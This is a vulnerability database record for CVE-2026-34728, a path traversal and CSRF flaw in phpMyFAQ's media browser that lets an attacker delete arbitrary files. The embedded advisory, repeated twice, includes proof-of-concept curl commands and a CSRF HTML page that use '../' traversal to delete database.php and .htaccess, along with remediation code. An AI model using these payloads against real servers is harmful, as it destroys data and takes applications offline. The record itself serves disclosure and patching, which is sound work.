{"id":"CVE-2026-34728","aliases":["EUVD-2026-18258","GHSA-38m8-xrfj-v38x"],"status":"published","title":"phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController","description":"phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (\u0026, ', \", \u003c, \u003e) and characters with ASCII value \u003c 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. This issue has been patched in version 4.1.1.","severity":{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00705,"percentile":0.5378,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-04-01T22:30:32Z","modified":"2026-10-28T02:30:30Z","fixes":[{"ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","fixed_in":["4.1.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.1.0"},{"fixed":"4.1.1"}]}]},{"source":"osv","ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.1"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2"]}],"products":[{"vendor":"phpmyfaq","product":"phpmyfaq"},{"vendor":"thorsten","product":"phpmyfaq"}],"references":[{"url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-38m8-xrfj-v38x","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1","tags":["x_refsource_MISC","Product","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34728","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-38m8-xrfj-v38x"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34728.json","tags":["advisory"]},{"url":"https://github.com/thorsten/phpMyFAQ","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-34728","title":"phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController","description":"phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (\u0026, ', \", \u003c, \u003e) and characters with ASCII value \u003c 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. This issue has been patched in version 4.1.1.","status":"published","published":"2026-04-02T14:44:19.135Z","modified":"2026-04-02T15:24:02.916Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:20:13.962274Z"}],"euvd":[{"id":"EUVD-2026-18258","description":"phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (\u0026, ', \", \u003c, \u003e) and characters with ASCII value \u003c 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. This issue has been patched in version 4.1.1.","status":"published","published":"2026-04-02T14:44:19Z","modified":"2026-04-02T15:24:02Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:25:22.606516Z"}],"ghsa":[{"id":"GHSA-38m8-xrfj-v38x","title":"phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController","description":"### Summary\nThe `MediaBrowserController::index()` method handles file deletion for the media browser. When the `fileRemove` action is triggered, the user-supplied `name` parameter is concatenated with the base upload directory path without any path traversal validation. The `FILTER_SANITIZE_SPECIAL_CHARS` filter only encodes HTML special characters (`\u0026`, `'`, `\"`, `\u003c`, `\u003e`) and characters with ASCII value \u003c 32, and does not prevent directory traversal sequences like `../`. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php`\n\n**Lines 43-66:**\n```php\n#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]\npublic function index(Request $request): JsonResponse|Response\n{\n    $this-\u003euserHasPermission(PermissionType::FAQ_EDIT);\n    // ...\n    $data = json_decode($request-\u003egetContent());\n    $action = Filter::filterVar($data-\u003eaction, FILTER_SANITIZE_SPECIAL_CHARS);\n\n    if ($action === 'fileRemove') {\n        $file = Filter::filterVar($data-\u003ename, FILTER_SANITIZE_SPECIAL_CHARS);\n        $file = PMF_CONTENT_DIR . '/user/images/' . $file;\n\n        if (file_exists($file)) {\n            unlink($file);\n        }\n        // Returns success without checking if deletion was within intended directory\n    }\n}\n```\n\n**Root Causes:**\n1. **No path traversal prevention:** `FILTER_SANITIZE_SPECIAL_CHARS` does not remove or encode `../` sequences. It only encodes HTML special characters.\n2. **No CSRF protection:** The endpoint does not call `Token::verifyToken()`. Compare with `ImageController::upload()` which validates CSRF tokens at line 48.\n3. **No basename() or realpath() validation:** The code does not use `basename()` to strip directory components or `realpath()` to verify the resolved path stays within the intended directory.\n4. **HTTP method mismatch:** The route is defined as `methods: ['GET']` but reads the request body via `$request-\u003egetContent()`. This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.\n\n**Comparison with secure implementation in the same codebase:**\n\nThe `ImageController::upload()` method (same directory) properly validates file names:\n```php\nif (preg_match(\"/([^\\w\\s\\d\\-_~,;:\\[\\]\\(\\).])|([\\.]{2,})/\", (string) $file-\u003egetClientOriginalName())) {\n    // Rejects files with path traversal sequences\n}\n```\n\nThe `FilesystemStorage::normalizePath()` method also properly validates paths:\n\n```php\nforeach ($segments as $segment) {\n    if ($segment === '..' || $segment === '') {\n        throw new StorageException('Invalid storage path.');\n    }\n}\n```\n\n### PoC\n\n**Direct exploitation (requires authenticated admin session):**\n```bash\n# Delete the database configuration file\ncurl -X GET 'https://target.example.com/admin/api/media-browser' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=valid_admin_session' \\\n  -d '{\"action\":\"fileRemove\",\"name\":\"../../../content/core/config/database.php\"}'\n\n# Delete the .htaccess file to disable Apache security rules\ncurl -X GET 'https://target.example.com/admin/api/media-browser' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=valid_admin_session' \\\n  -d '{\"action\":\"fileRemove\",\"name\":\"../../../.htaccess\"}'\n```\n\n**CSRF exploitation (attacker hosts this HTML page):**\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nfetch('https://target.example.com/admin/api/media-browser', {\n  method: 'GET',\n  headers: {'Content-Type': 'application/json'},\n  body: JSON.stringify({\n    action: 'fileRemove',\n    name: '../../../content/core/config/database.php'\n  }),\n  credentials: 'include'\n});\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nWhen an authenticated admin visits the attacker's page, the database configuration file (`database.php`) is deleted, effectively taking down the application.\n\n### Impact\n\n- **Server compromise:** Deleting `content/core/config/database.php` causes total application failure (database connection loss).\n- **Security bypass:** Deleting `.htaccess` or `web.config` can expose sensitive directories and files.\n- **Data loss:** Arbitrary file deletion on the server filesystem.\n- **Chained attacks:** Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.\n\n\n### Remediation\n\n1. **Add path traversal validation:**\n```php\nif ($action === 'fileRemove') {\n    $file = basename(Filter::filterVar($data-\u003ename, FILTER_SANITIZE_SPECIAL_CHARS));\n    $targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);\n    $allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');\n\n    if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {\n        return $this-\u003ejson(['error' =\u003e 'Invalid file path'], Response::HTTP_BAD_REQUEST);\n    }\n\n    if (file_exists($targetPath)) {\n        unlink($targetPath);\n    }\n}\n```\n\n2. **Add CSRF protection:**\n```php\nif (!Token::getInstance($this-\u003esession)-\u003everifyToken('pmf-csrf-token', $request-\u003equery-\u003eget('csrf'))) {\n    return $this-\u003ejson(['error' =\u003e 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);\n}\n```\n\n3. **Change HTTP method to POST or DELETE** to align with proper HTTP semantics.","status":"published","published":"2026-04-01T22:30:32Z","modified":"2026-04-06T17:18:36Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:39:48.966685Z"}],"nvd":[{"id":"CVE-2026-34728","description":"phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (\u0026, ', \", \u003c, \u003e) and characters with ASCII value \u003c 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. This issue has been patched in version 4.1.1.","status":"published","published":"2026-04-02T15:16:41.77Z","modified":"2026-10-26T22:10:00.163Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:12.73929Z"}],"osv":[{"id":"CVE-2026-34728","title":"phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController","description":"phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (\u0026, ', \", \u003c, \u003e) and characters with ASCII value \u003c 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. This issue has been patched in version 4.1.1.","status":"published","published":"2026-04-02T14:44:19.135Z","modified":"2026-10-28T02:30:30.745220079Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-38m8-xrfj-v38x","title":"phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController","description":"### Summary\nThe `MediaBrowserController::index()` method handles file deletion for the media browser. When the `fileRemove` action is triggered, the user-supplied `name` parameter is concatenated with the base upload directory path without any path traversal validation. The `FILTER_SANITIZE_SPECIAL_CHARS` filter only encodes HTML special characters (`\u0026`, `'`, `\"`, `\u003c`, `\u003e`) and characters with ASCII value \u003c 32, and does not prevent directory traversal sequences like `../`. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php`\n\n**Lines 43-66:**\n```php\n#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]\npublic function index(Request $request): JsonResponse|Response\n{\n    $this-\u003euserHasPermission(PermissionType::FAQ_EDIT);\n    // ...\n    $data = json_decode($request-\u003egetContent());\n    $action = Filter::filterVar($data-\u003eaction, FILTER_SANITIZE_SPECIAL_CHARS);\n\n    if ($action === 'fileRemove') {\n        $file = Filter::filterVar($data-\u003ename, FILTER_SANITIZE_SPECIAL_CHARS);\n        $file = PMF_CONTENT_DIR . '/user/images/' . $file;\n\n        if (file_exists($file)) {\n            unlink($file);\n        }\n        // Returns success without checking if deletion was within intended directory\n    }\n}\n```\n\n**Root Causes:**\n1. **No path traversal prevention:** `FILTER_SANITIZE_SPECIAL_CHARS` does not remove or encode `../` sequences. It only encodes HTML special characters.\n2. **No CSRF protection:** The endpoint does not call `Token::verifyToken()`. Compare with `ImageController::upload()` which validates CSRF tokens at line 48.\n3. **No basename() or realpath() validation:** The code does not use `basename()` to strip directory components or `realpath()` to verify the resolved path stays within the intended directory.\n4. **HTTP method mismatch:** The route is defined as `methods: ['GET']` but reads the request body via `$request-\u003egetContent()`. This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.\n\n**Comparison with secure implementation in the same codebase:**\n\nThe `ImageController::upload()` method (same directory) properly validates file names:\n```php\nif (preg_match(\"/([^\\w\\s\\d\\-_~,;:\\[\\]\\(\\).])|([\\.]{2,})/\", (string) $file-\u003egetClientOriginalName())) {\n    // Rejects files with path traversal sequences\n}\n```\n\nThe `FilesystemStorage::normalizePath()` method also properly validates paths:\n\n```php\nforeach ($segments as $segment) {\n    if ($segment === '..' || $segment === '') {\n        throw new StorageException('Invalid storage path.');\n    }\n}\n```\n\n### PoC\n\n**Direct exploitation (requires authenticated admin session):**\n```bash\n# Delete the database configuration file\ncurl -X GET 'https://target.example.com/admin/api/media-browser' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=valid_admin_session' \\\n  -d '{\"action\":\"fileRemove\",\"name\":\"../../../content/core/config/database.php\"}'\n\n# Delete the .htaccess file to disable Apache security rules\ncurl -X GET 'https://target.example.com/admin/api/media-browser' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=valid_admin_session' \\\n  -d '{\"action\":\"fileRemove\",\"name\":\"../../../.htaccess\"}'\n```\n\n**CSRF exploitation (attacker hosts this HTML page):**\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nfetch('https://target.example.com/admin/api/media-browser', {\n  method: 'GET',\n  headers: {'Content-Type': 'application/json'},\n  body: JSON.stringify({\n    action: 'fileRemove',\n    name: '../../../content/core/config/database.php'\n  }),\n  credentials: 'include'\n});\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nWhen an authenticated admin visits the attacker's page, the database configuration file (`database.php`) is deleted, effectively taking down the application.\n\n### Impact\n\n- **Server compromise:** Deleting `content/core/config/database.php` causes total application failure (database connection loss).\n- **Security bypass:** Deleting `.htaccess` or `web.config` can expose sensitive directories and files.\n- **Data loss:** Arbitrary file deletion on the server filesystem.\n- **Chained attacks:** Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.\n\n\n### Remediation\n\n1. **Add path traversal validation:**\n```php\nif ($action === 'fileRemove') {\n    $file = basename(Filter::filterVar($data-\u003ename, FILTER_SANITIZE_SPECIAL_CHARS));\n    $targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);\n    $allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');\n\n    if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {\n        return $this-\u003ejson(['error' =\u003e 'Invalid file path'], Response::HTTP_BAD_REQUEST);\n    }\n\n    if (file_exists($targetPath)) {\n        unlink($targetPath);\n    }\n}\n```\n\n2. **Add CSRF protection:**\n```php\nif (!Token::getInstance($this-\u003esession)-\u003everifyToken('pmf-csrf-token', $request-\u003equery-\u003eget('csrf'))) {\n    return $this-\u003ejson(['error' =\u003e 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);\n}\n```\n\n3. **Change HTTP method to POST or DELETE** to align with proper HTTP semantics.","status":"published","published":"2026-04-01T22:30:32Z","modified":"2026-04-06T17:38:01.458309Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:35.406455Z"}]}}